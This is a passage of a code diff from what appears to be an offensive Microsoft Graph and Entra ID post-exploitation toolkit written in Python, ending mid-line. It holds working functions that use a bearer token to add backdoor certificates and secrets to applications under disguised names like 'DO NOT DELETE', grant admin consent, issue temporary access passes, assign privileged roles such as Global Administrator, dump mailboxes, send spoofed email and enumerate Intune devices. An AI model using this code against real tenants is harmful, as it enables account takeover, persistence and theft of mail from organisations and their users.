+ print_red(f"\n[-] Failed to update user properties: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationcertificate +def add_applicationcertificate(args): + openssl = """ +Genrate Certificate: +opessl genrsa -out private.key 2048 +opessl req -new -key private.key -out request.csr +opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt +opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt + +Only certificate (public key) with one of the following file types: +.cer +.pem +.crt + """ + if not args.id or not args.cert: + print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") + print_red(openssl) + return + + encoded_cert = read_and_encode_cert(args.cert) + + print_yellow("[*] Add-ApplicationCertificate") + print("=" * 80) + + # 1. Find existing certs so we don't remove them in the patch req + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Content-Type':'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + key_credentials = applications.get('keyCredentials', []) + + else: + print_red(f"[-] Error obtaining existing certificates {response.status_code}") + print_red(response.text) + + # 2. patch app added our cert to the existing + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + try: + displayname = input("\nEnter Certificate Display Name: ").strip() + if not displayname: + displayname = "DevOps Certificate - DO NOT DELETE" + + except KeyboardInterrupt: + sys.exit() + + new_key_credential = { + "type": "AsymmetricX509Cert", + "usage": "Verify", + "key": encoded_cert, + "displayName": displayname + } + + key_credentials.append(new_key_credential) + data = { + "keyCredentials": key_credentials + } + + response = requests.patch(api_url, headers=headers, json=data) + if response.ok: + print_green("\n[+] Successfully added application certificate") + else: + print_red(f"\n[-] Failed to add certificate: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpassword +def add_applicationpassword(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPassword command") + return + + print_yellow("[*] Add-ApplicationPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + six_months_later = current_time_utc + timedelta(days=6*30) + formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") + json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} + + response = requests.post(api_url, headers=headers, json=json_body) + + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + if key == "secretText": + print_green(f"{key}: {pretty_value}") + else: + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to add password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpermission +def add_applicationpermission(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPermission command") + return + + print_yellow("[*] Add-ApplicationPermission") + print("=" * 80) + + # 1. check existing permissions + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + response = requests.get(api_url, headers=headers) + existingperms = [] + if response.status_code == 200: + response_json = response.json() + existingperms = response_json.get('requiredResourceAccess', []) + + # 2. patch perms + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id + print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") + + # permission id validation + def parse_permissionid(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_permissionid(content) + + try: + permissionid = input("\nEnter API Permission ID: ").strip() + if permissionid not in permissions: + print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") + sys.exit(1) + + permission_info = permissions[permissionid] + if len(permission_info) == 3: + permission_type, permission_name, admin_consent_required = permission_info + else: + permission_type, permission_name = permission_info + admin_consent_required = "Unknown" + + print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") + + # grant admin consent option + print(f"Admin Consent Required: {admin_consent_required}") + if admin_consent_required.lower() == 'yes': + grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() + else: + pass + grantadminconsent = 'no' + + except KeyboardInterrupt: + sys.exit(1) + + if permission_type.lower() == "application": + typevalue = "Role" + elif permission_type.lower() == "delegated": + typevalue = "Scope" + else: + print_red("\n[-] Unexpected error") + print("=" * 80) + sys.exit() + + graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist + + if graphresource: + graphresource['resourceAccess'].append({ + "id": permissionid, + "type": typevalue + }) + else: + existingperms.append({ + "resourceAppId": "00000003-0000-0000-c000-000000000000", + "resourceAccess": [ + { + "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) + "type": typevalue + } + ] + }) + + # assign perm json + data = { + "requiredResourceAccess": existingperms + } + clientAppId = args.id + # admin consent json + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": [permission_name], + "scopes": [] + } + ] + } + + response = requests.patch(api_url, headers=headers, json=data) + if grantadminconsent == "no": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print("=" * 80) + sys.exit() + else: + print_red(f"\n[-] Failed to update application permissions: {response.status_code}") + print_red(response.text) + print("=" * 80) + sys.exit() + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + # any failures granting admin consent likely due to token scope/perms + if grantadminconsent == "yes": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print() + custom_bar = '╢{bar:50}╟' + for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + time.sleep(1) + + granturl = "https://graph.microsoft.com/beta/directory/consentToApp" + grantreq = requests.post(granturl, headers=headers, json=admin_data) + + if grantreq.ok: + print_green(f"[+] Admin consent granted for: '{permission_name}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") + print_red(grantreq.text) + print("=" * 80) + +# grant-appadminconsent +def grant_appadminconsent(args): + if not args.id: + print_red("[-] Error: --id required for Grant-AppAdminConsent command") + return + + print_yellow("[*] Grant-AppAdminConsent") + print("=" * 80) + clientAppId = args.id + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + try: + permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') + permission_names = [name.strip() for name in permission_names] + + except KeyboardInterrupt: + sys.exit() + + invalid_permissions = [name for name in permission_names if name not in content] + + if invalid_permissions: + print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") + print("=" * 80) + sys.exit() + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": permission_names, + "scopes": [] + } + ] + } + + url = "https://graph.microsoft.com/beta/directory/consentToApp" + request = requests.post(url, headers=headers, json=admin_data) + + if request.ok: + print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") + print_red(request.text) + print("=" * 80) + +# add-userTAP +def add_usertap(args): + if not args.id: + print_red("[-] Error: --id required for Add-UserTAP command") + return + + print_yellow("[*] Add-UserTAP") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + one_hour_later = current_time_utc + timedelta(minutes=60) + formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") + + json_body = { + "properties": { + "isUsableOnce": True, + "startDateTime": formatted_date + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to add TAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-groupmember +def add_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Add-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User added to group") + else: + print_red(f"[-] Failed to add group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-application +def create_application(args): + print_yellow("[*] Create-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications" + + try: + appname = input("\nEnter App Name: ").strip() + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = {"displayName": appname} + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Application created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to create application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-newuser +def create_newuser(args): + print_yellow("[*] Create-NewUser") + print("=" * 80) + + try: + display_name = input("\nEnter Display Name: ").strip() + mail_nickname = input("Enter Mail Nickname: ").strip() + user_principal_name = input("Enter User Principal Name: ").strip() + password = input("Enter Password: ").strip() + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/users/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "accountEnabled": True, + "displayName": display_name, + "mailNickname": mail_nickname, + "userPrincipalName": user_principal_name, + "passwordProfile": { + "forceChangePasswordNextSignIn": True, + "password": password + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] New user created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to create new user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invite-guestuser +def invite_guestuser(args): + if not args.tenant: + print_red("[-] Error: --tenant required for Invite-GuestUser command") + return + + print_yellow("[*] Invite-GuestUser") + print("=" * 80) + + try: + email = input("\nEnter Email Address: ").strip() + displayname = input("Enter Display Name: ").strip() + redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... + sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() + custommessage = input("Custom Message Body: ").strip() + except KeyboardInterrupt: + sys.exit() + + if redirecturl == "": + redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" + + api_url = f"https://graph.microsoft.com/v1.0/invitations" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "invitedUserEmailAddress": email, + "invitedUserDisplayName": displayname, + "inviteRedirectUrl": redirecturl, + "sendInvitationMessage": sendinvitationmessage, + "invitedUserMessageInfo": { + "customizedMessageBody": custommessage + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Guest user invited\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to invite guest user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# assign-privilegedrole +def assign_privilegedrole(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + print_yellow("[*] Assign-PrivilegedRole") + print("=" * 80) + + table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] + separator = ['-' * 20, '-' * 20, '-' * 20] + print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) + + try: + roleid = input("\nEnter Role Template ID: ").strip() + objectid = input("Enter Object ID (user/group id): ").strip() + scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.type": "#microsoft.graph.unifiedRoleAssignment", + "roleDefinitionId": roleid, + "principalId": objectid, + "directoryScopeId": scopeid + } + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Role assigned\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"\n[-] Failed to assign role: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# open-owamailboxinbrowser +# - check this is still valid +def open_owamailboxinbrowser(args): + print_yellow("[*] Open-OWAMailboxInBrowser") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + if args.only_return_cookies: + try: + response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) + print_green("[+] Cookies:") + print(response.headers.get('Set-Cookie')) + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + else: + print("To open the OWA mailbox in a browser using a Substrate Access Token:") + print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") + print("2. Paste the below request into Repeater & Send") + print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") + print("4. Refresh the page to access the mailbox") + print() + print("GET /owa/ HTTP/1.1") + print(f"Host: substrate.office.com") + print(f"Authorization: Bearer {get_access_token(args.token)}") + print() + print("=" * 80) + +# dump-owamailbox +def dump_owamailbox(args): + if not args.mail_folder: + print_red("[-] Mail folder --mail-folder is required for this command.") + return + + if args.id: + base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" + else: + base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" + + query_params = [] + + if args.select: + query_params.append(f"$select={args.select}") + if args.top: + query_params.append(f"$top={args.top}") + if query_params: + api_url = f"{base_url}?" + "&".join(query_params) + else: + api_url = base_url + + max_results = 400 + print_yellow("[*] Dump-OWAMailbox") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + if filtered_data: + if not filtered_data.get('value'): + print_red("[-] No data found") + return + email_count = 1 + for d in filtered_data.get('value', []): + print_green(f"Email {email_count}") + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + email_count += 1 + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# spoof-owaemailmessage +def spoof_owaemailmessage(args): + if not args.email: + print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") + return + + print_yellow("[*] Spoof-OWAEmailMessage") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/sendMail" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + subject = input("\nEnter Subject: ").strip() + torecipients = input("Enter toRecipients (comma-separated): ").strip() + ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() + savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true' + except KeyboardInterrupt: + sys.exit() + + to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] + cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] + content = read_file_content(args.email) + json_body = { + "message": { + "subject": subject, + "body": { + "contentType": "Text", + "content": content + }, + "toRecipients": to_recipients, + "ccRecipients": cc_recipients + }, + "saveToSentItems": savetf + } + + # Add attachment option - check what other files are supported... + # "attachments": [ + # { + # "@odata.type": "#microsoft.graph.fileAttachment", + # "name": "attachment.txt", + # "contentType": "text/plain", + # "contentBytes": "SGVsbG8gV29ybGQh" + # } + # ] + + response = requests.post(api_url, headers=headers, json=json_body) + if response.ok: + print_green("\n[+] Email sent successfully") + + else: + print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/.github/graphpermissions.txt b/graphpython/commands/graphpermissions.txt similarity index 100% rename from .github/graphpermissions.txt rename to graphpython/commands/graphpermissions.txt diff --git a/graphpython/commands/intune_enum.py b/graphpython/commands/intune_enum.py new file mode 100644 index 0000000..e4f4ef3 --- /dev/null +++ b/graphpython/commands/intune_enum.py @@ -0,0 +1,380 @@ +import requests +import json +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from graphpython.utils.helpers import graph_api_get + +################################ +# Post-Auth Intune Enumeration # +################################ + +# get-manageddevices +def get_manageddevices(args): + print_yellow("[*] Get-ManagedDevices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userdevices +def get_userdevices(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserDevices command") + return + + print_yellow("[*] Get-UserDevices") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" + + if args.select: + api_url += "&$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-caps +def get_caps(args): + print_yellow("[*] Get-CAPs") + print("=" * 80) + api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecategories +def get_devicecategories(args): + print_yellow("[*] Get-DeviceCategories") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancesummary +def get_devicecompliancesummary(args): + print_yellow("[*] Get-DeviceComplianceSummary") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceconfigurations +def get_deviceconfigurations(args): + print_yellow("[*] Get-DeviceConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-deviceconfigurationpolicysettings +def get_deviceconfigurationpolicysettings(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") + return + + print_yellow("[*] Get-DeviceConfigurationPolicySettings") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") # redo this + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceenrollmentconfigurations +def get_deviceenrollmentconfigurations(args): + print_yellow("[*] Get-DeviceEnrollmentConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicegrouppolicyconfigurations +def get_devicegrouppolicyconfigurations(args): + print_yellow("[*] Get-DeviceGroupPolicyConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + group_policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + group_policies = None + + if group_policies and 'value' in group_policies: + for policy in group_policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignmentTarget: No assignments") + else: + print_green("assignmentTargets:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 